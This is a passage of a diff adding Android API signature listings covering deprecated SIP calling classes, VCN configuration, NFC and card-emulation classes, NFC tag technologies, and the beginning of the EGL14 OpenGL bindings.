+    method @Deprecated public static boolean isIncomingCallIntent(android.content.Intent);
+    method @Deprecated public boolean isOpened(String) throws android.net.sip.SipException;
+    method @Deprecated public boolean isRegistered(String) throws android.net.sip.SipException;
+    method @Deprecated public static boolean isSipWifiOnly(android.content.Context);
+    method @Deprecated public static boolean isVoipSupported(android.content.Context);
+    method @Deprecated public android.net.sip.SipAudioCall makeAudioCall(android.net.sip.SipProfile, android.net.sip.SipProfile, android.net.sip.SipAudioCall.Listener, int) throws android.net.sip.SipException;
+    method @Deprecated public android.net.sip.SipAudioCall makeAudioCall(String, String, android.net.sip.SipAudioCall.Listener, int) throws android.net.sip.SipException;
+    method @Deprecated public static android.net.sip.SipManager newInstance(android.content.Context);
+    method @Deprecated public void open(android.net.sip.SipProfile) throws android.net.sip.SipException;
+    method @Deprecated public void open(android.net.sip.SipProfile, android.app.PendingIntent, android.net.sip.SipRegistrationListener) throws android.net.sip.SipException;
+    method @Deprecated public void register(android.net.sip.SipProfile, int, android.net.sip.SipRegistrationListener) throws android.net.sip.SipException;
+    method @Deprecated public void setRegistrationListener(String, android.net.sip.SipRegistrationListener) throws android.net.sip.SipException;
+    method @Deprecated public android.net.sip.SipAudioCall takeAudioCall(android.content.Intent, android.net.sip.SipAudioCall.Listener) throws android.net.sip.SipException;
+    method @Deprecated public void unregister(android.net.sip.SipProfile, android.net.sip.SipRegistrationListener) throws android.net.sip.SipException;
+    field @Deprecated public static final String EXTRA_CALL_ID = "android:sipCallID";
+    field @Deprecated public static final String EXTRA_OFFER_SD = "android:sipOfferSD";
+    field @Deprecated public static final int INCOMING_CALL_RESULT_CODE = 101; // 0x65
+  }
+
+  @Deprecated public class SipProfile implements java.lang.Cloneable android.os.Parcelable java.io.Serializable {
+    method @Deprecated public int describeContents();
+    method @Deprecated public String getAuthUserName();
+    method @Deprecated public boolean getAutoRegistration();
+    method @Deprecated public String getDisplayName();
+    method @Deprecated public String getPassword();
+    method @Deprecated public int getPort();
+    method @Deprecated public String getProfileName();
+    method @Deprecated public String getProtocol();
+    method @Deprecated public String getProxyAddress();
+    method @Deprecated public boolean getSendKeepAlive();
+    method @Deprecated public String getSipDomain();
+    method @Deprecated public String getUriString();
+    method @Deprecated public String getUserName();
+    method @Deprecated public void setCallingUid(int);
+    method @Deprecated public void writeToParcel(android.os.Parcel, int);
+    field @Deprecated public static final android.os.Parcelable.Creator<android.net.sip.SipProfile> CREATOR;
+  }
+
+  @Deprecated public static class SipProfile.Builder {
+    ctor @Deprecated public SipProfile.Builder(android.net.sip.SipProfile);
+    ctor @Deprecated public SipProfile.Builder(String) throws java.text.ParseException;
+    ctor @Deprecated public SipProfile.Builder(String, String) throws java.text.ParseException;
+    method @Deprecated public android.net.sip.SipProfile build();
+    method @Deprecated public android.net.sip.SipProfile.Builder setAuthUserName(String);
+    method @Deprecated public android.net.sip.SipProfile.Builder setAutoRegistration(boolean);
+    method @Deprecated public android.net.sip.SipProfile.Builder setDisplayName(String);
+    method @Deprecated public android.net.sip.SipProfile.Builder setOutboundProxy(String);
+    method @Deprecated public android.net.sip.SipProfile.Builder setPassword(String);
+    method @Deprecated public android.net.sip.SipProfile.Builder setPort(int) throws java.lang.IllegalArgumentException;
+    method @Deprecated public android.net.sip.SipProfile.Builder setProfileName(String);
+    method @Deprecated public android.net.sip.SipProfile.Builder setProtocol(String) throws java.lang.IllegalArgumentException;
+    method @Deprecated public android.net.sip.SipProfile.Builder setSendKeepAlive(boolean);
+  }
+
+  @Deprecated public interface SipRegistrationListener {
+    method @Deprecated public void onRegistering(String);
+    method @Deprecated public void onRegistrationDone(String, long);
+    method @Deprecated public void onRegistrationFailed(String, int, String);
+  }
+
+  @Deprecated public final class SipSession {
+    method @Deprecated public void answerCall(String, int);
+    method @Deprecated public void changeCall(String, int);
+    method @Deprecated public void endCall();
+    method @Deprecated public String getCallId();
+    method @Deprecated public String getLocalIp();
+    method @Deprecated public android.net.sip.SipProfile getLocalProfile();
+    method @Deprecated public android.net.sip.SipProfile getPeerProfile();
+    method @Deprecated public int getState();
+    method @Deprecated public boolean isInCall();
+    method @Deprecated public void makeCall(android.net.sip.SipProfile, String, int);
+    method @Deprecated public void register(int);
+    method @Deprecated public void setListener(android.net.sip.SipSession.Listener);
+    method @Deprecated public void unregister();
+  }
+
+  @Deprecated public static class SipSession.Listener {
+    ctor @Deprecated public SipSession.Listener();
+    method @Deprecated public void onCallBusy(android.net.sip.SipSession);
+    method @Deprecated public void onCallChangeFailed(android.net.sip.SipSession, int, String);
+    method @Deprecated public void onCallEnded(android.net.sip.SipSession);
+    method @Deprecated public void onCallEstablished(android.net.sip.SipSession, String);
+    method @Deprecated public void onCalling(android.net.sip.SipSession);
+    method @Deprecated public void onError(android.net.sip.SipSession, int, String);
+    method @Deprecated public void onRegistering(android.net.sip.SipSession);
+    method @Deprecated public void onRegistrationDone(android.net.sip.SipSession, int);
+    method @Deprecated public void onRegistrationFailed(android.net.sip.SipSession, int, String);
+    method @Deprecated public void onRegistrationTimeout(android.net.sip.SipSession);
+    method @Deprecated public void onRinging(android.net.sip.SipSession, android.net.sip.SipProfile, String);
+    method @Deprecated public void onRingingBack(android.net.sip.SipSession);
+  }
+
+  @Deprecated public static class SipSession.State {
+    method @Deprecated public static String toString(int);
+    field @Deprecated public static final int DEREGISTERING = 2; // 0x2
+    field @Deprecated public static final int INCOMING_CALL = 3; // 0x3
+    field @Deprecated public static final int INCOMING_CALL_ANSWERING = 4; // 0x4
+    field @Deprecated public static final int IN_CALL = 8; // 0x8
+    field @Deprecated public static final int NOT_DEFINED = 101; // 0x65
+    field @Deprecated public static final int OUTGOING_CALL = 5; // 0x5
+    field @Deprecated public static final int OUTGOING_CALL_CANCELING = 7; // 0x7
+    field @Deprecated public static final int OUTGOING_CALL_RING_BACK = 6; // 0x6
+    field @Deprecated public static final int PINGING = 9; // 0x9
+    field @Deprecated public static final int READY_TO_CALL = 0; // 0x0
+    field @Deprecated public static final int REGISTERING = 1; // 0x1
+  }
+
+}
+
+package android.net.vcn {
+
+  public final class VcnConfig implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public java.util.Set<android.net.vcn.VcnGatewayConnectionConfig> getGatewayConnectionConfigs();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.net.vcn.VcnConfig> CREATOR;
+  }
+
+  public static final class VcnConfig.Builder {
+    ctor public VcnConfig.Builder(@NonNull android.content.Context);
+    method @NonNull public android.net.vcn.VcnConfig.Builder addGatewayConnectionConfig(@NonNull android.net.vcn.VcnGatewayConnectionConfig);
+    method @NonNull public android.net.vcn.VcnConfig build();
+  }
+
+  public final class VcnGatewayConnectionConfig {
+    method @NonNull public int[] getExposedCapabilities();
+    method @NonNull public String getGatewayConnectionName();
+    method @IntRange(from=0x500) public int getMaxMtu();
+    method @NonNull public long[] getRetryIntervalsMillis();
+  }
+
+  public static final class VcnGatewayConnectionConfig.Builder {
+    ctor public VcnGatewayConnectionConfig.Builder(@NonNull String, @NonNull android.net.ipsec.ike.IkeTunnelConnectionParams);
+    method @NonNull public android.net.vcn.VcnGatewayConnectionConfig.Builder addExposedCapability(int);
+    method @NonNull public android.net.vcn.VcnGatewayConnectionConfig build();
+    method @NonNull public android.net.vcn.VcnGatewayConnectionConfig.Builder removeExposedCapability(int);
+    method @NonNull public android.net.vcn.VcnGatewayConnectionConfig.Builder setMaxMtu(@IntRange(from=0x500) int);
+    method @NonNull public android.net.vcn.VcnGatewayConnectionConfig.Builder setRetryIntervalsMillis(@NonNull long[]);
+  }
+
+  public class VcnManager {
+    method @RequiresPermission("carrier privileges") public void clearVcnConfig(@NonNull android.os.ParcelUuid) throws java.io.IOException;
+    method @NonNull public java.util.List<android.os.ParcelUuid> getConfiguredSubscriptionGroups();
+    method public void registerVcnStatusCallback(@NonNull android.os.ParcelUuid, @NonNull java.util.concurrent.Executor, @NonNull android.net.vcn.VcnManager.VcnStatusCallback);
+    method @RequiresPermission("carrier privileges") public void setVcnConfig(@NonNull android.os.ParcelUuid, @NonNull android.net.vcn.VcnConfig) throws java.io.IOException;
+    method public void unregisterVcnStatusCallback(@NonNull android.net.vcn.VcnManager.VcnStatusCallback);
+    field public static final int VCN_ERROR_CODE_CONFIG_ERROR = 1; // 0x1
+    field public static final int VCN_ERROR_CODE_INTERNAL_ERROR = 0; // 0x0
+    field public static final int VCN_ERROR_CODE_NETWORK_ERROR = 2; // 0x2
+    field public static final int VCN_STATUS_CODE_ACTIVE = 2; // 0x2
+    field public static final int VCN_STATUS_CODE_INACTIVE = 1; // 0x1
+    field public static final int VCN_STATUS_CODE_NOT_CONFIGURED = 0; // 0x0
+    field public static final int VCN_STATUS_CODE_SAFE_MODE = 3; // 0x3
+  }
+
+  public abstract static class VcnManager.VcnStatusCallback {
+    ctor public VcnManager.VcnStatusCallback();
+    method public abstract void onGatewayConnectionError(@NonNull String, int, @Nullable Throwable);
+    method public abstract void onStatusChanged(int);
+  }
+
+}
+
+package android.nfc {
+
+  public class FormatException extends java.lang.Exception {
+    ctor public FormatException();
+    ctor public FormatException(String);
+    ctor public FormatException(String, Throwable);
+  }
+
+  public final class NdefMessage implements android.os.Parcelable {
+    ctor public NdefMessage(byte[]) throws android.nfc.FormatException;
+    ctor public NdefMessage(android.nfc.NdefRecord, android.nfc.NdefRecord...);
+    ctor public NdefMessage(android.nfc.NdefRecord[]);
+    method public int describeContents();
+    method public int getByteArrayLength();
+    method public android.nfc.NdefRecord[] getRecords();
+    method public byte[] toByteArray();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.nfc.NdefMessage> CREATOR;
+  }
+
+  public final class NdefRecord implements android.os.Parcelable {
+    ctor public NdefRecord(short, byte[], byte[], byte[]);
+    ctor @Deprecated public NdefRecord(byte[]) throws android.nfc.FormatException;
+    method public static android.nfc.NdefRecord createApplicationRecord(String);
+    method public static android.nfc.NdefRecord createExternal(String, String, byte[]);
+    method public static android.nfc.NdefRecord createMime(String, byte[]);
+    method public static android.nfc.NdefRecord createTextRecord(String, String);
+    method public static android.nfc.NdefRecord createUri(android.net.Uri);
+    method public static android.nfc.NdefRecord createUri(String);
+    method public int describeContents();
+    method public byte[] getId();
+    method public byte[] getPayload();
+    method public short getTnf();
+    method public byte[] getType();
+    method @Deprecated public byte[] toByteArray();
+    method public String toMimeType();
+    method public android.net.Uri toUri();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.nfc.NdefRecord> CREATOR;
+    field public static final byte[] RTD_ALTERNATIVE_CARRIER;
+    field public static final byte[] RTD_HANDOVER_CARRIER;
+    field public static final byte[] RTD_HANDOVER_REQUEST;
+    field public static final byte[] RTD_HANDOVER_SELECT;
+    field public static final byte[] RTD_SMART_POSTER;
+    field public static final byte[] RTD_TEXT;
+    field public static final byte[] RTD_URI;
+    field public static final short TNF_ABSOLUTE_URI = 3; // 0x3
+    field public static final short TNF_EMPTY = 0; // 0x0
+    field public static final short TNF_EXTERNAL_TYPE = 4; // 0x4
+    field public static final short TNF_MIME_MEDIA = 2; // 0x2
+    field public static final short TNF_UNCHANGED = 6; // 0x6
+    field public static final short TNF_UNKNOWN = 5; // 0x5
+    field public static final short TNF_WELL_KNOWN = 1; // 0x1
+  }
+
+  public final class NfcAdapter {
+    method public void disableForegroundDispatch(android.app.Activity);
+    method @Deprecated public void disableForegroundNdefPush(android.app.Activity);
+    method public void disableReaderMode(android.app.Activity);
+    method public void enableForegroundDispatch(android.app.Activity, android.app.PendingIntent, android.content.IntentFilter[], String[][]);
+    method @Deprecated public void enableForegroundNdefPush(android.app.Activity, android.nfc.NdefMessage);
+    method public void enableReaderMode(android.app.Activity, android.nfc.NfcAdapter.ReaderCallback, int, android.os.Bundle);
+    method public static android.nfc.NfcAdapter getDefaultAdapter(android.content.Context);
+    method public boolean ignore(android.nfc.Tag, int, android.nfc.NfcAdapter.OnTagRemovedListener, android.os.Handler);
+    method @Deprecated public boolean invokeBeam(android.app.Activity);
+    method public boolean isEnabled();
+    method @Deprecated public boolean isNdefPushEnabled();
+    method public boolean isSecureNfcEnabled();
+    method public boolean isSecureNfcSupported();
+    method @Deprecated public void setBeamPushUris(android.net.Uri[], android.app.Activity);
+    method @Deprecated public void setBeamPushUrisCallback(android.nfc.NfcAdapter.CreateBeamUrisCallback, android.app.Activity);
+    method @Deprecated public void setNdefPushMessage(android.nfc.NdefMessage, android.app.Activity, android.app.Activity...);
+    method @Deprecated public void setNdefPushMessageCallback(android.nfc.NfcAdapter.CreateNdefMessageCallback, android.app.Activity, android.app.Activity...);
+    method @Deprecated public void setOnNdefPushCompleteCallback(android.nfc.NfcAdapter.OnNdefPushCompleteCallback, android.app.Activity, android.app.Activity...);
+    field public static final String ACTION_ADAPTER_STATE_CHANGED = "android.nfc.action.ADAPTER_STATE_CHANGED";
+    field public static final String ACTION_NDEF_DISCOVERED = "android.nfc.action.NDEF_DISCOVERED";
+    field @RequiresPermission(android.Manifest.permission.NFC_PREFERRED_PAYMENT_INFO) public static final String ACTION_PREFERRED_PAYMENT_CHANGED = "android.nfc.action.PREFERRED_PAYMENT_CHANGED";
+    field public static final String ACTION_TAG_DISCOVERED = "android.nfc.action.TAG_DISCOVERED";
+    field public static final String ACTION_TECH_DISCOVERED = "android.nfc.action.TECH_DISCOVERED";
+    field @RequiresPermission(android.Manifest.permission.NFC_TRANSACTION_EVENT) public static final String ACTION_TRANSACTION_DETECTED = "android.nfc.action.TRANSACTION_DETECTED";
+    field public static final String EXTRA_ADAPTER_STATE = "android.nfc.extra.ADAPTER_STATE";
+    field public static final String EXTRA_AID = "android.nfc.extra.AID";
+    field public static final String EXTRA_DATA = "android.nfc.extra.DATA";
+    field public static final String EXTRA_ID = "android.nfc.extra.ID";
+    field public static final String EXTRA_NDEF_MESSAGES = "android.nfc.extra.NDEF_MESSAGES";
+    field public static final String EXTRA_PREFERRED_PAYMENT_CHANGED_REASON = "android.nfc.extra.PREFERRED_PAYMENT_CHANGED_REASON";
+    field public static final String EXTRA_READER_PRESENCE_CHECK_DELAY = "presence";
+    field public static final String EXTRA_SECURE_ELEMENT_NAME = "android.nfc.extra.SECURE_ELEMENT_NAME";
+    field public static final String EXTRA_TAG = "android.nfc.extra.TAG";
+    field public static final int FLAG_READER_NFC_A = 1; // 0x1
+    field public static final int FLAG_READER_NFC_B = 2; // 0x2
+    field public static final int FLAG_READER_NFC_BARCODE = 16; // 0x10
+    field public static final int FLAG_READER_NFC_F = 4; // 0x4
+    field public static final int FLAG_READER_NFC_V = 8; // 0x8
+    field public static final int FLAG_READER_NO_PLATFORM_SOUNDS = 256; // 0x100
+    field public static final int FLAG_READER_SKIP_NDEF_CHECK = 128; // 0x80
+    field public static final int PREFERRED_PAYMENT_CHANGED = 2; // 0x2
+    field public static final int PREFERRED_PAYMENT_LOADED = 1; // 0x1
+    field public static final int PREFERRED_PAYMENT_UPDATED = 3; // 0x3
+    field public static final int STATE_OFF = 1; // 0x1
+    field public static final int STATE_ON = 3; // 0x3
+    field public static final int STATE_TURNING_OFF = 4; // 0x4
+    field public static final int STATE_TURNING_ON = 2; // 0x2
+  }
+
+  @Deprecated public static interface NfcAdapter.CreateBeamUrisCallback {
+    method @Deprecated public android.net.Uri[] createBeamUris(android.nfc.NfcEvent);
+  }
+
+  @Deprecated public static interface NfcAdapter.CreateNdefMessageCallback {
+    method @Deprecated public android.nfc.NdefMessage createNdefMessage(android.nfc.NfcEvent);
+  }
+
+  @Deprecated public static interface NfcAdapter.OnNdefPushCompleteCallback {
+    method @Deprecated public void onNdefPushComplete(android.nfc.NfcEvent);
+  }
+
+  public static interface NfcAdapter.OnTagRemovedListener {
+    method public void onTagRemoved();
+  }
+
+  public static interface NfcAdapter.ReaderCallback {
+    method public void onTagDiscovered(android.nfc.Tag);
+  }
+
+  public final class NfcEvent {
+    field public final android.nfc.NfcAdapter nfcAdapter;
+    field public final int peerLlcpMajorVersion;
+    field public final int peerLlcpMinorVersion;
+  }
+
+  public final class NfcManager {
+    method public android.nfc.NfcAdapter getDefaultAdapter();
+  }
+
+  public final class Tag implements android.os.Parcelable {
+    method public int describeContents();
+    method public byte[] getId();
+    method public String[] getTechList();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.nfc.Tag> CREATOR;
+  }
+
+  public class TagLostException extends java.io.IOException {
+    ctor public TagLostException();
+    ctor public TagLostException(String);
+  }
+
+}
+
+package android.nfc.cardemulation {
+
+  public final class CardEmulation {
+    method public boolean categoryAllowsForegroundPreference(String);
+    method @Nullable @RequiresPermission(android.Manifest.permission.NFC_PREFERRED_PAYMENT_INFO) public java.util.List<java.lang.String> getAidsForPreferredPaymentService();
+    method public java.util.List<java.lang.String> getAidsForService(android.content.ComponentName, String);
+    method @Nullable @RequiresPermission(android.Manifest.permission.NFC_PREFERRED_PAYMENT_INFO) public CharSequence getDescriptionForPreferredPaymentService();
+    method public static android.nfc.cardemulation.CardEmulation getInstance(android.nfc.NfcAdapter);
+    method @Nullable @RequiresPermission(android.Manifest.permission.NFC_PREFERRED_PAYMENT_INFO) public String getRouteDestinationForPreferredPaymentService();
+    method public int getSelectionModeForCategory(String);
+    method public boolean isDefaultServiceForAid(android.content.ComponentName, String);
+    method public boolean isDefaultServiceForCategory(android.content.ComponentName, String);
+    method public boolean registerAidsForService(android.content.ComponentName, String, java.util.List<java.lang.String>);
+    method public boolean removeAidsForService(android.content.ComponentName, String);
+    method @NonNull @RequiresPermission(android.Manifest.permission.NFC) public boolean setOffHostForService(@NonNull android.content.ComponentName, @NonNull String);
+    method public boolean setPreferredService(android.app.Activity, android.content.ComponentName);
+    method public boolean supportsAidPrefixRegistration();
+    method @NonNull @RequiresPermission(android.Manifest.permission.NFC) public boolean unsetOffHostForService(@NonNull android.content.ComponentName);
+    method public boolean unsetPreferredService(android.app.Activity);
+    field public static final String ACTION_CHANGE_DEFAULT = "android.nfc.cardemulation.action.ACTION_CHANGE_DEFAULT";
+    field public static final String CATEGORY_OTHER = "other";
+    field public static final String CATEGORY_PAYMENT = "payment";
+    field public static final String EXTRA_CATEGORY = "category";
+    field public static final String EXTRA_SERVICE_COMPONENT = "component";
+    field public static final int SELECTION_MODE_ALWAYS_ASK = 1; // 0x1
+    field public static final int SELECTION_MODE_ASK_IF_CONFLICT = 2; // 0x2
+    field public static final int SELECTION_MODE_PREFER_DEFAULT = 0; // 0x0
+  }
+
+  public abstract class HostApduService extends android.app.Service {
+    ctor public HostApduService();
+    method public final void notifyUnhandled();
+    method public final android.os.IBinder onBind(android.content.Intent);
+    method public abstract void onDeactivated(int);
+    method public abstract byte[] processCommandApdu(byte[], android.os.Bundle);
+    method public final void sendResponseApdu(byte[]);
+    field public static final int DEACTIVATION_DESELECTED = 1; // 0x1
+    field public static final int DEACTIVATION_LINK_LOSS = 0; // 0x0
+    field public static final String SERVICE_INTERFACE = "android.nfc.cardemulation.action.HOST_APDU_SERVICE";
+    field public static final String SERVICE_META_DATA = "android.nfc.cardemulation.host_apdu_service";
+  }
+
+  public abstract class HostNfcFService extends android.app.Service {
+    ctor public HostNfcFService();
+    method public final android.os.IBinder onBind(android.content.Intent);
+    method public abstract void onDeactivated(int);
+    method public abstract byte[] processNfcFPacket(byte[], android.os.Bundle);
+    method public final void sendResponsePacket(byte[]);
+    field public static final int DEACTIVATION_LINK_LOSS = 0; // 0x0
+    field public static final String SERVICE_INTERFACE = "android.nfc.cardemulation.action.HOST_NFCF_SERVICE";
+    field public static final String SERVICE_META_DATA = "android.nfc.cardemulation.host_nfcf_service";
+  }
+
+  public final class NfcFCardEmulation {
+    method public boolean disableService(android.app.Activity) throws java.lang.RuntimeException;
+    method public boolean enableService(android.app.Activity, android.content.ComponentName) throws java.lang.RuntimeException;
+    method public static android.nfc.cardemulation.NfcFCardEmulation getInstance(android.nfc.NfcAdapter);
+    method public String getNfcid2ForService(android.content.ComponentName) throws java.lang.RuntimeException;
+    method public String getSystemCodeForService(android.content.ComponentName) throws java.lang.RuntimeException;
+    method public boolean registerSystemCodeForService(android.content.ComponentName, String) throws java.lang.RuntimeException;
+    method public boolean setNfcid2ForService(android.content.ComponentName, String) throws java.lang.RuntimeException;
+    method public boolean unregisterSystemCodeForService(android.content.ComponentName) throws java.lang.RuntimeException;
+  }
+
+  public abstract class OffHostApduService extends android.app.Service {
+    ctor public OffHostApduService();
+    field public static final String SERVICE_INTERFACE = "android.nfc.cardemulation.action.OFF_HOST_APDU_SERVICE";
+    field public static final String SERVICE_META_DATA = "android.nfc.cardemulation.off_host_apdu_service";
+  }
+
+}
+
+package android.nfc.tech {
+
+  public final class IsoDep implements android.nfc.tech.TagTechnology {
+    method public void close() throws java.io.IOException;
+    method public void connect() throws java.io.IOException;
+    method public static android.nfc.tech.IsoDep get(android.nfc.Tag);
+    method public byte[] getHiLayerResponse();
+    method public byte[] getHistoricalBytes();
+    method public int getMaxTransceiveLength();
+    method public android.nfc.Tag getTag();
+    method public int getTimeout();
+    method public boolean isConnected();
+    method public boolean isExtendedLengthApduSupported();
+    method public void setTimeout(int);
+    method public byte[] transceive(byte[]) throws java.io.IOException;
+  }
+
+  public final class MifareClassic implements android.nfc.tech.TagTechnology {
+    method public boolean authenticateSectorWithKeyA(int, byte[]) throws java.io.IOException;
+    method public boolean authenticateSectorWithKeyB(int, byte[]) throws java.io.IOException;
+    method public int blockToSector(int);
+    method public void close() throws java.io.IOException;
+    method public void connect() throws java.io.IOException;
+    method public void decrement(int, int) throws java.io.IOException;
+    method public static android.nfc.tech.MifareClassic get(android.nfc.Tag);
+    method public int getBlockCount();
+    method public int getBlockCountInSector(int);
+    method public int getMaxTransceiveLength();
+    method public int getSectorCount();
+    method public int getSize();
+    method public android.nfc.Tag getTag();
+    method public int getTimeout();
+    method public int getType();
+    method public void increment(int, int) throws java.io.IOException;
+    method public boolean isConnected();
+    method public byte[] readBlock(int) throws java.io.IOException;
+    method public void restore(int) throws java.io.IOException;
+    method public int sectorToBlock(int);
+    method public void setTimeout(int);
+    method public byte[] transceive(byte[]) throws java.io.IOException;
+    method public void transfer(int) throws java.io.IOException;
+    method public void writeBlock(int, byte[]) throws java.io.IOException;
+    field public static final int BLOCK_SIZE = 16; // 0x10
+    field public static final byte[] KEY_DEFAULT;
+    field public static final byte[] KEY_MIFARE_APPLICATION_DIRECTORY;
+    field public static final byte[] KEY_NFC_FORUM;
+    field public static final int SIZE_1K = 1024; // 0x400
+    field public static final int SIZE_2K = 2048; // 0x800
+    field public static final int SIZE_4K = 4096; // 0x1000
+    field public static final int SIZE_MINI = 320; // 0x140
+    field public static final int TYPE_CLASSIC = 0; // 0x0
+    field public static final int TYPE_PLUS = 1; // 0x1
+    field public static final int TYPE_PRO = 2; // 0x2
+    field public static final int TYPE_UNKNOWN = -1; // 0xffffffff
+  }
+
+  public final class MifareUltralight implements android.nfc.tech.TagTechnology {
+    method public void close() throws java.io.IOException;
+    method public void connect() throws java.io.IOException;
+    method public static android.nfc.tech.MifareUltralight get(android.nfc.Tag);
+    method public int getMaxTransceiveLength();
+    method public android.nfc.Tag getTag();
+    method public int getTimeout();
+    method public int getType();
+    method public boolean isConnected();
+    method public byte[] readPages(int) throws java.io.IOException;
+    method public void setTimeout(int);
+    method public byte[] transceive(byte[]) throws java.io.IOException;
+    method public void writePage(int, byte[]) throws java.io.IOException;
+    field public static final int PAGE_SIZE = 4; // 0x4
+    field public static final int TYPE_ULTRALIGHT = 1; // 0x1
+    field public static final int TYPE_ULTRALIGHT_C = 2; // 0x2
+    field public static final int TYPE_UNKNOWN = -1; // 0xffffffff
+  }
+
+  public final class Ndef implements android.nfc.tech.TagTechnology {
+    method public boolean canMakeReadOnly();
+    method public void close() throws java.io.IOException;
+    method public void connect() throws java.io.IOException;
+    method public static android.nfc.tech.Ndef get(android.nfc.Tag);
+    method public android.nfc.NdefMessage getCachedNdefMessage();
+    method public int getMaxSize();
+    method public android.nfc.NdefMessage getNdefMessage() throws android.nfc.FormatException, java.io.IOException;
+    method public android.nfc.Tag getTag();
+    method public String getType();
+    method public boolean isConnected();
+    method public boolean isWritable();
+    method public boolean makeReadOnly() throws java.io.IOException;
+    method public void writeNdefMessage(android.nfc.NdefMessage) throws android.nfc.FormatException, java.io.IOException;
+    field public static final String MIFARE_CLASSIC = "com.nxp.ndef.mifareclassic";
+    field public static final String NFC_FORUM_TYPE_1 = "org.nfcforum.ndef.type1";
+    field public static final String NFC_FORUM_TYPE_2 = "org.nfcforum.ndef.type2";
+    field public static final String NFC_FORUM_TYPE_3 = "org.nfcforum.ndef.type3";
+    field public static final String NFC_FORUM_TYPE_4 = "org.nfcforum.ndef.type4";
+  }
+
+  public final class NdefFormatable implements android.nfc.tech.TagTechnology {
+    method public void close() throws java.io.IOException;
+    method public void connect() throws java.io.IOException;
+    method public void format(android.nfc.NdefMessage) throws android.nfc.FormatException, java.io.IOException;
+    method public void formatReadOnly(android.nfc.NdefMessage) throws android.nfc.FormatException, java.io.IOException;
+    method public static android.nfc.tech.NdefFormatable get(android.nfc.Tag);
+    method public android.nfc.Tag getTag();
+    method public boolean isConnected();
+  }
+
+  public final class NfcA implements android.nfc.tech.TagTechnology {
+    method public void close() throws java.io.IOException;
+    method public void connect() throws java.io.IOException;
+    method public static android.nfc.tech.NfcA get(android.nfc.Tag);
+    method public byte[] getAtqa();
+    method public int getMaxTransceiveLength();
+    method public short getSak();
+    method public android.nfc.Tag getTag();
+    method public int getTimeout();
+    method public boolean isConnected();
+    method public void setTimeout(int);
+    method public byte[] transceive(byte[]) throws java.io.IOException;
+  }
+
+  public final class NfcB implements android.nfc.tech.TagTechnology {
+    method public void close() throws java.io.IOException;
+    method public void connect() throws java.io.IOException;
+    method public static android.nfc.tech.NfcB get(android.nfc.Tag);
+    method public byte[] getApplicationData();
+    method public int getMaxTransceiveLength();
+    method public byte[] getProtocolInfo();
+    method public android.nfc.Tag getTag();
+    method public boolean isConnected();
+    method public byte[] transceive(byte[]) throws java.io.IOException;
+  }
+
+  public final class NfcBarcode implements android.nfc.tech.TagTechnology {
+    method public void close() throws java.io.IOException;
+    method public void connect() throws java.io.IOException;
+    method public static android.nfc.tech.NfcBarcode get(android.nfc.Tag);
+    method public byte[] getBarcode();
+    method public android.nfc.Tag getTag();
+    method public int getType();
+    method public boolean isConnected();
+    field public static final int TYPE_KOVIO = 1; // 0x1
+    field public static final int TYPE_UNKNOWN = -1; // 0xffffffff
+  }
+
+  public final class NfcF implements android.nfc.tech.TagTechnology {
+    method public void close() throws java.io.IOException;
+    method public void connect() throws java.io.IOException;
+    method public static android.nfc.tech.NfcF get(android.nfc.Tag);
+    method public byte[] getManufacturer();
+    method public int getMaxTransceiveLength();
+    method public byte[] getSystemCode();
+    method public android.nfc.Tag getTag();
+    method public int getTimeout();
+    method public boolean isConnected();
+    method public void setTimeout(int);
+    method public byte[] transceive(byte[]) throws java.io.IOException;
+  }
+
+  public final class NfcV implements android.nfc.tech.TagTechnology {
+    method public void close() throws java.io.IOException;
+    method public void connect() throws java.io.IOException;
+    method public static android.nfc.tech.NfcV get(android.nfc.Tag);
+    method public byte getDsfId();
+    method public int getMaxTransceiveLength();
+    method public byte getResponseFlags();
+    method public android.nfc.Tag getTag();
+    method public boolean isConnected();
+    method public byte[] transceive(byte[]) throws java.io.IOException;
+  }
+
+  public interface TagTechnology extends java.io.Closeable {
+    method public void connect() throws java.io.IOException;
+    method public android.nfc.Tag getTag();
+    method public boolean isConnected();
+  }
+
+}
+
+package android.opengl {
+
+  public class EGL14 {
+    ctor public EGL14();
+    method public static boolean eglBindAPI(int);
+    method public static boolean eglBindTexImage(android.opengl.EGLDisplay, android.opengl.EGLSurface, int);
+    method public static boolean eglChooseConfig(android.opengl.EGLDisplay, int[], int, android.opengl.EGLConfig[], int, int, int[], int);
+    method public static boolean eglCopyBuffers(android.opengl.EGLDisplay, android.opengl.EGLSurface, int);
+    method public static android.opengl.EGLContext eglCreateContext(android.opengl.EGLDisplay, android.opengl.EGLConfig, android.opengl.EGLContext, int[], int);
+    method public static android.opengl.EGLSurface eglCreatePbufferFromClientBuffer(android.opengl.EGLDisplay, int, int, android.opengl.EGLConfig, int[], int);
+    method public static android.opengl.EGLSurface eglCreatePbufferSurface(android.opengl.EGLDisplay, android.opengl.EGLConfig, int[], int);
+    method @Deprecated public static android.opengl.EGLSurface eglCreatePixmapSurface(android.opengl.EGLDisplay, android.opengl.EGLConfig, int, int[], int);
+    method public static android.opengl.EGLSurface eglCreateWindowSurface(android.opengl.EGLDisplay, android.opengl.EGLConfig, Object, int[], int);
+    method public static boolean eglDestroyContext(android.opengl.EGLDisplay, android.opengl.EGLContext);
+    method public static boolean eglDestroySurface(android.opengl.EGLDisplay, android.opengl.EGLSurface);
+    method public static boolean eglGetConfigAttrib(android.opengl.EGLDisplay, android.opengl.EGLConfig, int, int[], int);
+    method public static boolean eglGetConfigs(android.opengl.EGLDisplay, android.opengl.EGLConfig[], int, int, int[], int);
+    method public static android.opengl.EGLContext eglGetCurrentContext();
+    method public static android.opengl.EGLDisplay eglGetCurrentDisplay();
+    method public static android.opengl.EGLSurface eglGetCurrentSurface(int);
+    method public static android.opengl.EGLDisplay eglGetDisplay(int);
+    method public static int eglGetError();
+    method public static boolean eglInitialize(android.opengl.EGLDisplay, int[], int, int[], int);
+    method public static boolean eglMakeCurrent(android.opengl.EGLDisplay, android.opengl.EGLSurface, android.opengl.EGLSurface, android.opengl.EGLContext);
+    method public static int eglQueryAPI();
+    method public static boolean eglQueryContext(android.opengl.EGLDisplay, android.opengl.EGLContext, int, int[], int);
